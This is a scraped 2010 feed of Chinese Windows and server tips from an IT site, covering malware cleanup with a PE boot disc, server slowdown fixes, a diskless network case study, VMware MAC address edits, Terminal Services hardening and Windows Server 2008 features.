第二步：新建一个具有管理员权限的账户（假设其账户名为123），接下来打开任务管理器，切换到&amp;ldquo;用户&amp;rdquo;标签，在其列表中找到&amp;ldquo;123&amp;rdquo;这个账户名，右键单击，选择&amp;ldquo;连接&amp;rdquo;，输入123账户的密码，确认后即可切换到该账户环境中。接下来我们的所有正常操作都在该账户环境中进行即可，而之前秘密运行的程序既不会在任务栏和系统托盘中出现，在任务管理器的&amp;ldquo;应用程序&amp;rdquo;、&amp;ldquo;进程&amp;rdquo;中也找不到，不过它们依然在默默运行着。 　　小提示： 　　要显示这些秘密进程，我们可以在任务管理器的&amp;ldquo;进程&amp;rdquo;标签中单击&amp;ldquo;显示所有用户的进程&amp;rdquo;即可。  </text>
<image> </image>
<keywords>使用技巧,管理,任务,rdquo,运行, </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>srosa.sys插件导致计算机蓝屏故障 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9766.html </link>
<description>本文主要介绍如何使用Windows PE启动光盘清除顽固恶意插件，解决Windows蓝屏故障。 Windows用户最不愿意看到的电脑故障可能就是蓝屏了。硬件故障，例如内存工作稳定、硬盘出现坏道甚至鼠标接口松动都可能导致蓝屏。而有时候出现蓝屏故障时，却需要从软件方面 </description>
<text>本文主要介绍如何使用Windows PE启动光盘清除顽固恶意插件，解决Windows蓝屏故障。
　　Windows用户最不愿意看到的电脑故障可能就是蓝屏了。硬件故障，例如内存工作稳定、硬盘出现坏道甚至鼠标接口松动都可能导致蓝屏。而有时候出现蓝屏故障时，却需要从软件方面入手解决。本文就介绍一起恶意软件引起的蓝屏故障及解决办法。
　　前几天，笔者对Windows XP进行常规安全检查，报告发现两个不知名的恶评插件，并询问是否清除。笔者刚刚单击&amp;ldquo;立即清理&amp;rdquo;按钮，电脑就发生了蓝屏，出错信息如下：&amp;ldquo;The problem runs to be caused by the following file:srosa.sys. An attempt was made to write to read-only memory&amp;rdquo;。大意是：故障是一个名为srosa.sys的文件引起的，发生了对只读内存的写操作。看来这个srosa.sys可能和安全卫士发现的恶评插件有关。按照经验，如果在进行恶评插件的清理工作时出现蓝屏，就须进入安全模式进行操作。没想到，当电脑进入安全模式后，也立即发生了蓝屏故障，并且出错信息和前面一模一样。
　　
　　笔者只好用正常方式进入Windows，上网搜索srosa.sys的信息。搜索引擎把笔者带到了一处名为www.prevx.com的网站，网站提示，srosa.sys是一款恶意软件，可以用该网站的Prevx CSI清理。下载并运行该软件后，对系统的扫描结果如图所示。可以看到，蓝屏信息中提到的srosa.sys的确是一个恶意插件。当笔者单击&amp;ldquo;Cleanup Now&amp;rdquo;按钮时，软件却提示，只有付款注册才能使用清理功能。看来只有手动清理这些恶意软件了。
　　Prevx CSI共发现9个恶意软件，多数软件都在它给出的路径下面。而当笔者进入srosa.dll所在的C:\WINDOWS\System32\drivers，却并未找到它。打开&amp;ldquo;文件夹选项-&amp;gt;查看&amp;rdquo;选项卡，选择&amp;ldquo;显示所有所有文件和文件夹&amp;rdquo;，并取消&amp;ldquo;隐藏受保护的操作系统文件&amp;rdquo;选项，仍然没有发现它的踪影。笔者再次上网搜索，并未找到这个恶意插件的专杀工具。
　　如果把恶意软件所在的硬盘当作从盘挂到别的系统下，那么此硬盘上的所有文件都无法启动，这个恶意软件应该能露出马脚。想到这里，笔者拿出Windows PE启动光盘。用它启动电脑后，进入Prevx CSI提到的目录，果然发现了srosa.sys和其他几个顽固的恶意插件。删除它们之后，正常启动电脑，360安全卫士还是发现两个不知名的恶意插件，这应该是srosa.sys及&amp;ldquo;同党&amp;rdquo;的&amp;ldquo;残渣余孽&amp;rdquo;，应该很好对付。这次选择&amp;ldquo;立即清理&amp;rdquo;，没有再出现蓝屏。重启电脑后，也能正常进入安全模式了。
　　许多用户遇到蓝屏就重装电脑。实际上，仔细分析蓝屏信息，并采取相应对策，要比重装电脑简单得多。希望本文能给读者朋友一些启发。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O416353KB0-14K7_lit.jpg </image>
<keywords>故障,计算机,导致,插件,恶意,蓝 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>服务器变慢的两种非常规解决办法 </title>
<link>http://www.itxia.com/a/computer/network/2010/0718/9767.html </link>
<description>对于网站来说，流量是追求，但是对于站长来说，服务器速度才是根本。没有一个站长会容忍自己的服务器变慢，同样，我作为服务器维护人员，当服务器变慢的时候，就会非常的着急。 从我最近两次解决服务器变慢的问题来看，有时候很难想到服务器变慢会因为这些原 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;对于网站来说，追求的是流量，对于站长来说，服务器速度才是王道。没有一个站长会容忍自己的服务器变慢，同样，我作为服务器维护人员，当服务器变慢的时候，也会非常的着急的。
　　从我最近两次解决服务器变慢的问题来看，有时候很难想到服务器变慢会因为这些原因。下面给大家介绍一下，希望某一天你服务器变慢的时候能够想到这个思路！
服务器变慢非常规解决方法之一
　　我公司的一台服务器不知道从什么时候开始变的特别的慢，咨询机房那边，人家说很正常，可能是我们程序的问题。于是就开始仔细调查每一个程序，调查每一个网站所占用的内存。但是研究了很久，优化了很多，效果不明显，依然慢的无法忍受。
　　这个时候，我一直使用PING 命令来检测服务器的速度如何，自从服务器慢了以后，PING返回的数据包总有丢失的现象。严重的情况平均10次就有1次丢包，仔细分析丢包的现象应当不是程序的问题，只能是线路的问题，在其他地方PING我们的服务器依然是丢包严重，这就排除了是我们公司网路的问题。再次想到了是不是网卡工作时间太久，老化了，于是要求机房人员重新换一下网卡。
　　结果可笑的是：机房人员告诉我，经过他们的测试，发现是网线的问题，重新换了一根网线后，速度就恢复正常了，而且也没有了丢包现象。
　　可能在你服务器没有遇到问题的时候，你会感觉上面的两种方法很可笑，但是服务器是24小时运行的，不可能不出现硬件老化等其他问题，我只希望能够将我自己的解决方法成为你日后处理服务器的一种思路。
　　服务器变慢非常规解决方法之二
　　背景：
　　在网通机房托管了一台服务器，百M独享。花了不少钱，当然是为了创造更高的价值，这个服务器主要是用来做视频点播。但是从托管之日起，从未感受到100M独享到底速度有多快，后来经过检测，发现还没有我们公司50M光纤速度快。于是写了一份速度测试报告，递交到网通，希望能够非常严肃的来处理这个问题。
　　机房人员测试以后，也非常的无奈，网线插到其他服务器上，速度就能够达到很高，在局域网下载东西平均10M。但是在我的服务器上下载同样的文件，平均速度才6M，换了网卡依然如此。所以得出的结论就是：问题出在我的服务器上。
　　问题出在自己的服务器上，先不说提交的那份测试报告，自己是多么的无知，现在考虑的是该怎么解决网速问题？难道是两个网卡都坏掉了？在无奈的情况下，就开始在系统中随便乱点。突然发现一个地方非常值得一试。那就是网卡的连接速度。我们现在的网卡都是10M/100M自适应网卡。一般不会去人为调整网卡的连接速度。但是在这种无奈的情况下，只能死马当活马医了。选择了100M的全双工模式。重新启动服务器以后，再测试速度，下载局域网文件已经回复正常，在其他地方点播视频也明显感觉速度提高了不少。
　　如图所示：（注：两个图片不是取自一台服务器的网卡属性页，只是为了说明问题）

 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41635H3230-2Z94_lit.jpg </image>
<keywords>服务器,变慢,解决,方法,非常规,IT侠 </keywords>
<category>IT侠网络 </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>华硕服务器主板无盘系统方案 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9768.html </link>
<description>在一个网络中的所有客户端都不安装硬盘，而全部通过网络服务器来启动，这样的网络就是无盘网络。没接触过无盘网络的人可能会很快对这样的网络产生兴趣，每台服务器省掉一个硬盘，一套六七十台机器的网络省掉的钱就相当可观，这可能是每个刚接触无盘网络的人的 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在一个网络中的所有客户端都不安装硬盘，而全部通过网络服务器来启动，这样的网络就是无盘网络。没接触过无盘网络的人可能会很快对这样的网络发生兴致，每台服务器省掉一个硬盘，一套六七十台机器的网络省掉的钱就相当可观，这可能是每个刚接触无盘网络的人的第一印象。的确，省钱是无盘网络的一大主要长处，而实际上无盘网络的最主要优点应该是管理和维护。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 近日，在青岛某网吧招标中，作为全球领先的3C解决方案提供商的华硕服务器，再次在网吧行业应用领域一举夺魁，成功中标。这是华硕在网吧行业采购项目中的又一次成功中标，青岛致成电子有限公司以华硕电脑旗下的一款集成8SAS接口的华硕DSBV-DX/SAS服务器主板为基础平台搭建的无盘系统解决方案，将用于该网吧日常管理工作，为网吧的稳定运营提供供稳定、高效的计信息化管理算平台。
项目背景
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 此次招标的青岛网吧是拥有近300台电脑的大型网吧。该网吧业主考虑到在日常工作中，频繁地为游戏打补丁、安装新款游戏和应对日益猖獗的针对网吧有盘的病毒，很大程度上造成了网管维护的工作量。决定采购一套能够承载该网吧负载的均衡方案。
方案描述
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 根据客户需求，华硕服务器旗下经销商青岛致成电子有限公司为客户配备了以华硕服务器主板DSBV-DX/SAS为基础平台而配置的无盘系统解决方案，以高性价比和超强拓展性受到网吧业主的青睐，赢得此次项目中标。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 承载该方案基础平台的是一款集成8SAS通道的华硕DSBV-DX/SAS服务器主板，华硕DSBV-DX/SAS是一款专门为中小型企业用户提供更多存储应用的服务器主板产品。该产品不仅能够为服务器提供双路四核处理器的支持，同时还能支持SAS硬盘接入，满足了中、小型用户在网络控制/防火墙/代理服务器、电子商务、Web 及邮件服务器和无盘网吧系统的存储服务器，以及搭建低成本的集群系统等方面的应用需求。
客户需求
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 网吧行业由于其运营模式上的种种特点，相较于其他行业，对其方案要求也更为苛刻。以前网吧较多采用有盘技术，但是随着网络的不断发展，病毒在网络上日趋肆虐，尤其对于所出现的专门针对于网吧有盘的病毒也越来越多，对网吧的维护造成了很大的困扰。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 基于此，该网吧业主在采购中，要求该方案能够以较高的性价比以高性能去完满负荷起繁重的运行的同时，亦可保证系统较高的稳定性，并且拓展起来也能十分方便。

网络拓扑图
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 华硕服务器主板DSBV-DX/SAS板载Intel 82563EB双端口PHY芯片，配合6321ESB所整合的双前兆网卡控制器，提供双千兆网卡，配合Intel I/O加速技术，在提供I/O吞吐量的同时，可有效的降低对于处理器资源的占用，这样可避免网吧在高速负荷的情况下出现网络异常，进而保持系统稳定运行。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 扩展性方面，华硕服务器主板DSBV-DX/SAS的最大特点正是在于不仅能够利用6321ESB整合的SATA控制器提供了6个SATA II接口，在Windows操作系统下可以通过Intel Matrix Storage技术实现RAID 0, 1, 10 &amp;amp; 5，还可整合一个LSI 1068 PCI-X 8-port SAS控制器，提供8组SAS接口，最高可支持8口SAS硬盘，支持SAS RAID 0，1，1E模式。当然，客户亦可根据自身需求通过安装零通道RAID卡支持RAID 5。此外，工程师通过采用3读3写的磁盘阵列方案，来实现服务器磁盘读写分离，大大提高了系统的性能，使系统能够胜任网吧繁重的维护工作。
客户收益
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 系统搭建后经测试显示，每台服务器的硬盘速度可以达到300MB/S能够完美的负荷90-100台网吧机器，能够通过服务器快速的启动系统和运行各种大型的游戏，效果十分理想。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 该网吧负责人表示，此次青岛致成所提供无盘技术，其省钱、省时、省力等诸多优势得以在网吧行业普及。无盘网吧系统可集成多种解决方案，实现对无盘网络的配置、启动、运行、管理和维护等功能。得益于它的应用，不但使原本复杂烦琐的网络配置管理过程变得极其简单方便，亦为充分利用现有资源组建和改造无盘网络提供了最大的可行性空间，真正达到省钱、省时、省力的目的。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;ldquo;让我们感到满意的是这套华硕DSBV-DX/SAS服务器主板为基础平台的无盘系统在大大简化日常维护的同时， 能够负载网吧的高负荷运转，自系统运行几个月以来，机器在保持24&amp;times;7小时不间断运转的情况下从未出现异常，保持稳定运作。此外，除了青岛致成提供切合实际的方案之外，在华硕的强大支持下，对其旗下产品提供的质量保证、800免费服务热线等完善的售后服务，也令我们十分满意。&amp;rdquo; 该网吧负责人补充道。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 华硕电脑中国业务总部服务器产品经理傅建华先生指出：&amp;ldquo;此次华硕服务器部署青岛网吧无盘系统，是华硕服务器针对行业市场，在致力于应用需求进行产品研发设计的同时，从用户的实际应用出发，为其提供整套的解决方案的一次成功经验。此次网吧采购的成功中标，表示了华硕服务器过硬的产品品质与良好品牌声誉，更是体现了华硕服务器在网吧行业这一领域里强大的竞争实力。&amp;rdquo; </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41636319210-46020_lit.jpg </image>
<keywords>方案,系统,主板,服务器,华硕,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>新装了个Windows7操作系统，界面很炫，也挺稳定，于是不想把机器 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9748.html </link>
<description> </description>
<text>

新装了个Windows7操作系统，界面很炫，也挺稳定，于是不想把机器里塞的到处都是各种编译工具，于是就装了个VMware，在里面装个win2003用多个虚拟机来跑各种编译环境。但由于都是同一个虚拟文件拷贝的副本，使得VM里的网卡MAC地址都一样，老是冲突，就找了一下，手工更改了MAC地址，一切正常了。 ===================================== 修改VMware网卡MAC的方法总结　 修改vmx配置文件的两种方法 1.用文本工具（比如记事本或vi）打开vmx配置文件,然后修改一下几行： ethernet0.generatedAddress = &amp;quot;00:0c:29:1c:35:cc&amp;quot; uuid.bios = &amp;quot;56 4d e0 c4 a2 41 24 1b-5b 6e 4b a0 0b 1c:35:cc&amp;quot; 注释： 其中 00:0c:29: 不能够修改 1c:35:cc可以修改 2、一种是: 首先用文本工具（比如记事本或vi）打开vmx配置文件，然后把以下三行删除掉： ethernet[n].generatedAddress ethernet[n].addressType ethernet[n].generatedAddressOffset 再在配置文件里添加一行： ethernet[n].address = 00:50:56:XX:YY:ZZ 其中[n] 为你的网卡系列号； XX修改范围为：00－3F ； YY与ZZ的修改范围为：00－FF ； &amp;ldquo;00:50:56&amp;rdquo;这几个是不能修改的 ； </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>在Windows Server 2008的终端服务(Terminal Services)中最大的亮 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9749.html </link>
<description> </description>
<text>副标题#e#
						



　　在Windows Server 2008的终端服务(Terminal Services)中最大的亮点就是整体安全性的提高，作为管理员和用户最常使用的远程访问服务器之一，这种安全性的提高也并不让人意外，并且非常受到大家的欢迎。在本文中我们将讨论怎样做才能确保你的终端服务器(Terminal Server)环境更加安全。
　　使用双重因素验证
　　当我们在考虑网络安全时，我们有必要进行双重因素验证。
　　目前主要有集中不同形式的双重因素验证方式，不过最常用的是终端服务所支持的智能卡(Smart Card)。在使用智能卡时，用户不仅需要提供有效的登录凭证，而且他们必须能够提供智能卡连接到他们用于作为远程终端的设备。
　　为了获取智能卡验证，你必须创建一个能够运用到终端服务器的组策略对象(Group Policy Object)。在组策略对象中，浏览Computer ConfigurationWindows SettingsSecurity SettingsLocal PoliciesSecurity Options，并启用Interactive Logon: Require Smart Card设置。此外，你将需要启用智能卡重新定位到终端服务器，可以通过在用户工作组上的远程桌面连接客户端的本地资源选项中，勾选智能卡选项。
　　为所有客户端执行网络级别的身份验证
　　在过去，在服务器上部署终端服务验证是通过连接服务器上的会话(session)然后在Windows Server登录屏幕中输入登录凭证。这听起来似乎非常麻烦，但是从安全的角度来看，能够启动session登录屏幕可能会暴露关于网络的信息(域名，计算机名称等)或者可能让服务器受到拒绝服务攻击，这种攻击主要来自拥有服务器公用IP地址的人。
　　网络级身份验证(NLA)是远程桌面连接客户端(Remote Desktop Connection Client)6.0版本中新加的功能，该功能可以在向用户显示Windows Server登录界面之前允许用户输入他们的登录凭证。Windows Server 2008使我们能够利用这项功能并要求所有连接客户端使用该功能。
　　要想使用NLA，你必须使用Windows 2008 Server，并且你的连接客户端必须能够支持CredSSP(Windows XP SP3、Windows Vista、 Windows 7)以及运行Remote Desktop Connection 6.0或者更高版本的远程桌面连接。你同样也可以配置终端服务器，要求其客户端在几个不同位置使用NLA：
　　在最初的终端服务角色安装过程中，当终端服务器屏幕显示出指定验证方法时，选择Allow connections only from computers running Remote Desktop with Network Level Authentication(仅允许运行网络级身份验证的远程桌面的计算机发送的连接)选项。
　　在终端服务配置MMC管理单元中，右键单击你的客户端使用的终端服务器连接，然后选择属性，选择Allow connections only from computers running Remote Desktop with Network Level Authentication选项
　　创建一个组策略对象，查看Computer ConfigurationAdministrative TemplatesWindows ComponentsTerminal ServicesTerminal ServerSecurity位置，启用Require user authentication for remote connections by using Network Level Authentication(要求使用网络级别的身份验证进行远程连接的用户验证)设置。
　　内容导航
　　更改默认RDP端口
　　默认情况下，终端服务器使用的是端口3389来进行RDP通信。而通常情况下，世界上的所有黑客都知道终端服务器使用的是端口3389进行RDP通信。在这种情况下，提高终端服务器环境安全以及抵御黑客攻击的最快方法就是更改这种默认端口分配设置。
　　要想更改终端服务器的默认RDP端口设置，打开注册表，浏览：HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp，找到PortNumber密钥并将十六进位值00000D3D(相当于端口3389)取代为其他适当的十六进位值。
　　另外，你也可以更改终端服务器使用的端口号码(基于每次连接)，同样使用注册表，浏览HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWinStationsconnection name，再次找到PortNumber密钥然后将十六进位取代为你想要的适当的值。
　　请记住，当对服务器的这些设置进行更改时，所有的连接客户端必须确保使用标记到服务器IP地址上的新端口扩展来连接到终端服务。举例来说，使用内部IP地址(192.168.0.1)连接到终端服务器，而现在使用的是非标准端口8888的话，将要求用户输入192.168.0.1:8888到远程桌面连接客户端。
　　内容导航
　　使用Easy Print和限制重新定向的打印机
　　从本地连接到客户端工作组的设备中进行打印，一直都是Windows Server2008之前版本中的终端设备的缺点，为了做到这一点，你必须确保在客户端和服务器安全了版本完全相同的打印机驱动程序，而且即使如此，也不一定总是能正常打印。从安全的角度来看，我们从来都不想在我们的系统上安装更多的驱动程序，除非必要情况。安装在服务器上的每个驱动程序都有可能扩大潜在攻击范围。
　　Windows Server2008中新增了被称为Easy Print(简易打印)的功能，这从根本上改变了本地连接打印机的处理方式。从本质上来说，TS Easy Print是一个驱动程序，能够作为代理将所有通过的数据进行重新定向。当客户端使用简易打印驱动程序从设备打印时，数据和打印设置都将转换为常用格式发送给终端服务器进行处理。在这个过程中，点击打印后，打印对话框是从客户端弹出的，而不是从终端会话中弹出的，这意味着不需要在终端服务器上安装驱动程序来处理本地打印设备的打印工作。
　　为了配置简易打印，你需要确保所有的本地连接打印设备都有逻辑打印机，并在客户端工作组配置为使用简易打印驱动程序。所有运行远程桌面连接6.1或更高版本以及.NET Framework 3 SP1的所有Windows XP SP3、Vista和Windows 7都支持简易打印功能。
　　只要你已经在工作组级别配置好本地连接设备，最好就是确保只有使用TS Easy Print的打印机才能够被重新定向到终端服务器，并应设置为默认打印机。想要实现这一点，可以创建一个组策略对象并浏览到Computer Configuration Administrative TemplatesWindows ComponentsTerminal ServicesTerminal ServerPrinter Redirection，启用Redirect only the default client printer(仅对默认客户端打印机进行重新定向)选项。


						#p#副标题#e#



　　内容导航
　　限制用户帐户
　　当你雇佣一个人为你耕地时，你只需要把拖拉机的钥匙给这个人即可，而不是给他所有的钥匙，避免发生物品丢失事故。同样的道理，我们必须记住，当用户连接到服务器或者直接在服务器工作时，他们有可能接触他们并不需要的资源，为了提高终端服务器环境的安全性，我们必须限制这种现象。这不仅可以防止用户的身份凭证被破坏，还可以防止合法用户的非法意图，我们可以做的事情包括以下：
　　对终端用户使用特定的帐户
　　用户在本地使用某些应用程序，然后进入终端服务器以访问其他应用程序，这种现象并不少见。从管理角度来看，用户使用相同的用户帐户登录本地和终端设备是很便于管理，但是从安全角度来看，这也很容易让盗取了访问多个应用程序凭证的攻击者继续攻击其他应用程序。因此，必须为终端服务器访问创建单独的用户帐户，并限制为仅能访问必要的应用程序，这样将大大减小攻击者大范围攻击的威胁。
　　使用软件限制政策
　　软件限制政策(Software Restriction Policies)毫无疑问的属于新的发展趋势，但是其中却存在很大不足，软件现在政策可以配置为允许或者拒绝使用某些应用程序，这在公共计算机或者kiosk环境很常用，在终端服务器环境中也很多。
　　检测用户对终端服务器的访问
　　默认情况下，只有终端服务器远程桌面用户组(和域/本地管理员)的成员才能够登录到终端服务器，我们强烈建议你定期对这些组成员进行记录和审计，如果用户不再需要登录到终端服务器，那么就可以将其从远程桌面用户组除名。
　　内容导航
　　使用组策略配置其他安装政策
　　可以通过组策略为终端服务器环境配置很多安全增强功能，以下是几个常见的：
　　1. 将终端服务用户限制到单个远程会话
　　在大多数情况下，单个用户没有必要启动终端服务器上的多个会话，如果允许他们启用多个会话可能会使终端服务器环境受到拒绝服务攻击(当用户身份凭证被攻击者盗取时)。可以对组策略对象内的Computer ConfigurationAdministrative TemplatesWindows ComponentsTerminal ServicesTerminal ServerConnections进行配置。
　　2. 不允许驱动器重新定向
　　除非有特殊需要，允许用户访问来自终端服务器会话的本地驱动器都可能带来非常不安全的通信渠道。有了这种功能，用户不仅能够复制数据到终端服务器，而且数据很可能包含恶意代码，并有可能被终端服务器执行。
　　可以对组策略对象内的Computer ConfigurationAdministrative TemplatesWindows ComponentsTerminal ServicesTerminal ServerDevice and Resource Redirection进行配置。
　　3. 为断开会话设置时间限制
　　总的来说，让用户在没有完全注销的情况下退出对话并不是件好事，攻击者可能能够控制这个会话，然后获取某些敏感信息，或者获得身份验证到另一个网络应用程序。制止这种情况发生的方法就是，为断开会话设定非常短的时间限制，当时间一到会话就会自动关闭。
　　可以对组策略对象内的Computer ConfigurationAdministrative TemplatesWindows ComponentsTerminal ServicesTerminal ServerSession Time Limits进行配置。
　　4. 禁用 Microsoft Windows Installer
　　简而言之，只有系统管理员才能够在终端服务器安装应用程序，在大多数情况下，由于用户不能以管理员身份登录，他们就不能自己安装应用程序。但是，如果某些用户需要这种特权，管理员可以通过禁用Microsoft Windows Installer来限制他们安装某些程序的权限。
　　可以对组策略对象内的Computer ConfigurationAdministrative TemplatesWindows ComponentsWindows Installer进行配置。 重要的是，配置此设置为启用，而不是总是允许，这样做能够确保你仍然可以通过组策略向终端服务器发布应用程序，而使用总是允许选项将阻止这种情况发生。
　　5. 文件夹重新定向
　　如果我每次登录终端服务器都能在用户本地桌面发现敏感数据或者关键数据，并因此获得1美元的话，那肯定成大富翁了。虽然网络管理员为用户提供了多个公共和个人数据存储位置，有些用户仍然习惯将数据存在他们的桌面上。管理员可以通过将用户桌面重新定向到文件服务器上的合适位置来防止数据丢失事故的发生。
　　可以对组策略对象内的User ConfigurationWindows SettingsFolder Redirection 来进行配置，用户桌面绝对不是唯一可以重新定向的文件夹，建议查看所有可用的文件夹并将某些文件夹重新定向到服务器。
　　6. 禁止访问控制面板
　　将像使用Microsoft Installer一样，用户不应该拥有防止控制面板的权限，但是，某些用户有管理员权限的话，管理员也可以通过配置设置来限制他们对系统控制面板的访问。
　　可以对组策略对象内的User ConfigurationAdministrative TemplatesControl Panel 来进行配置。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>1、Server Core 这才是微软真正的变化之处。如果你是Unix和Linux </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9750.html </link>
<description> </description>
<text>副标题#e#
						



　　1、Server Core
　　这才是微软真正的变化之处。如果你是Unix和Linux管理员，可能会对在受保护环境中扮演DHCP和DNS服务器角色的低能耗、虚拟化、无图形界、只需一个终端管理的服务器系统非常熟悉，但Windows也可以这么做了。作为服务器操作系统，Windows Server一直以来颇为诟病的地方就是，它是&amp;ldquo;Windows&amp;rdquo;，因为管理员根本不需要安装图形驱动、DirectX、ADO、OLE等东西，毕竟他们不需要运行用户程序;而且，图形界面一直是影响Windows稳定性的重要因素,Vista地带补充:精简了GUI可以减少内存资源占用增强稳定性和安全性。
　　从WS2K8开始，这些东西都将成为安装时的可选项。目前的RC0版本已经可以处理八个角色，最终正式版还会更多，比如文件服务器、域控制器、DHCP服务器、DNS服务器等等，其定位也非常清楚：安全稳定的小型专用服务器。另外，如果配置合理，管理员也可以远程管理无图形界面的Server Core安装，只需开启TCP 3389端口即可。
　　Windows PowerShell也可以在Server Core上运行，但很显然，图形界面程序都不行，.NET Framework也不会被支持，游戏自然就不用提了。
　　2、PowerShell命令行
　　PowerShell原计划作为Vista的一部分，但只是作为免费下载的增强附件，随后又成了Exchange Server 2007的关键组件，接下来又将是WS2K8不可或缺的一个成员。这个新的命令行工具可以作为图形界面管理的补充，也可以彻底取代它。
　　Windows Server部门总管Iain McDonald宣称：&amp;ldquo;如果一切可以由我决定，我很乐意把PowerShell设置成Windows的默认外壳。我太喜欢这东西了。&amp;rdquo;在下月初的TechEd 2007大会上，微软会对PowerShell的一些新应用进行展示。
　　3、虚拟化
　　尽管微软精简了其虚拟化软件&amp;ldquo;Viridian&amp;rdquo;，但这仍是企业的一个福音，可以有效减少总体成本。尽管VMware在虚拟机领域独树一帜，但Viridian得以让Intel和AMD都提供了对基于硬件的虚拟化的支持，从而提供虚拟硬件支持平台，而这是VMware所难以做到的。
　　据IDC统计，美国企业已经在根本用不到的处理器资源上浪费了千百亿美元，但这并不是他们的错，而是操作系统的管理问题导致最多85%的CPU资源就经常被闲置。WS2K8加虚拟化的一大目标就是加强闲置资源利用，减少浪费。Vista地带获取信息只有x64位版本才可以支持虚拟化技术。
　　4、Windows硬件错误架构(WHEA)
　　最终，微软决定将错误规范化，确切地说是应用程序向系统汇报发现错误的协议要实现标准化了。 目前错误报告的一大问题就是设备报错的方式多种多样，各种硬件系统之间没有一种标准，因此编写应用程序的时候很难集合所有的错误资源，并统一呈现，这就意味着要编写许多特定代码，针对各种特定情况。
　　而在Windows Server2003中，所有的硬件相关错误都使用同样的界面汇报给系统，第三方软件就能轻松管理、消除错误，管理工具的发展也会更轻松。把错误报告功能真正有效利用。
　　5、随机地址空间分布(ASLR)
　　ASLR在64位Windows Vista里就已出现，它可以确保操作系统的任何两个并发实例每次都会载入到不同的内存地址上。微软表示，恶意软件其实就是一堆不守规矩的代码，不会按照操作系统要求的正常程序执行，但如果它想在用户磁盘上写入文件，就必须知道系统服务身在何处。在32位Windows XP SP2上，如果恶意软件需要调用KERNEL32.DLL，该文件每次都会被载入同一个内存空间地址，因此非常容易恶意利用。
　　但有了ASLR，每一个系统服务的地址空间都是随机的，因此恶意软件想要轻松找到它们，基本没戏。Vista地带提示这类似于DEP数据保护功能，可以减少一些缓冲区overflow溢出。


						#p#副标题#e#



　　6、SMB2网络文件系统
　　很久很久以前，Windows就引入了SMB，作为一个网络文件系统，不过SMB现在已经太老了，历史使命已经完成，所以WS2K8采用了SMB2，以便更好地管理体积越来越大的媒体文件。在微软的内部测试中，SMB2媒体服务器的速度可以达到Windows Server 2003的四倍到五倍，相当于400%的效率提升。SMB2使得Windows Server2008和Linux、MAC OS的文件传输效率就大大提高。
　　7、核心事务管理器(KTM)
　　这项功能对开发人员来说尤其重要，因为它可以大大减少甚至消除最经常导致系统注册表或者文件系统崩溃的原因：多个线程试图访问同一资源。
　　在Windows Vista核心中也有KTM这一新组件，其中在服务管理器也会看到这个服务，KTM其目的是方便进行大量的错误恢复工作，而且过程几乎是透明的，而KTM之所以可以做到这一点，是因为它可以作为事务客户端接入的一个事务管理器进行工作。
　　8、快速关机服务
　　Windows的一大历史问题就是关机过程缓慢。在Windows XP里，一旦关机开始，系统就会开始一个20秒钟的计时，之后提醒用户是否需要手动关闭程序，而在Windows Server里，这一问题的影响会更加明显。
　　到了WS2K8，20秒钟的倒计时被一种新服务取代，可以在应用程序需要被关闭的时候随时、一直发出信号。开发人员开始怀疑这种新方法会不会过多地剥夺应用程序的权利，但现在他们已经接受了它，认为这是值得的。对于服务器的快速重启是十分重要，每秒都决定着...
　　9、并行Session创建
　　如果你有一个终端服务器系统，或者多个用户同时登陆了家庭系统，这些就是Session。在WS2K8之前，Session的创建都是逐一操作的，对于大型系统而言就是个瓶颈，比如周一清晨数百人返回工作的时候，不少人就必须等待Session初始化。
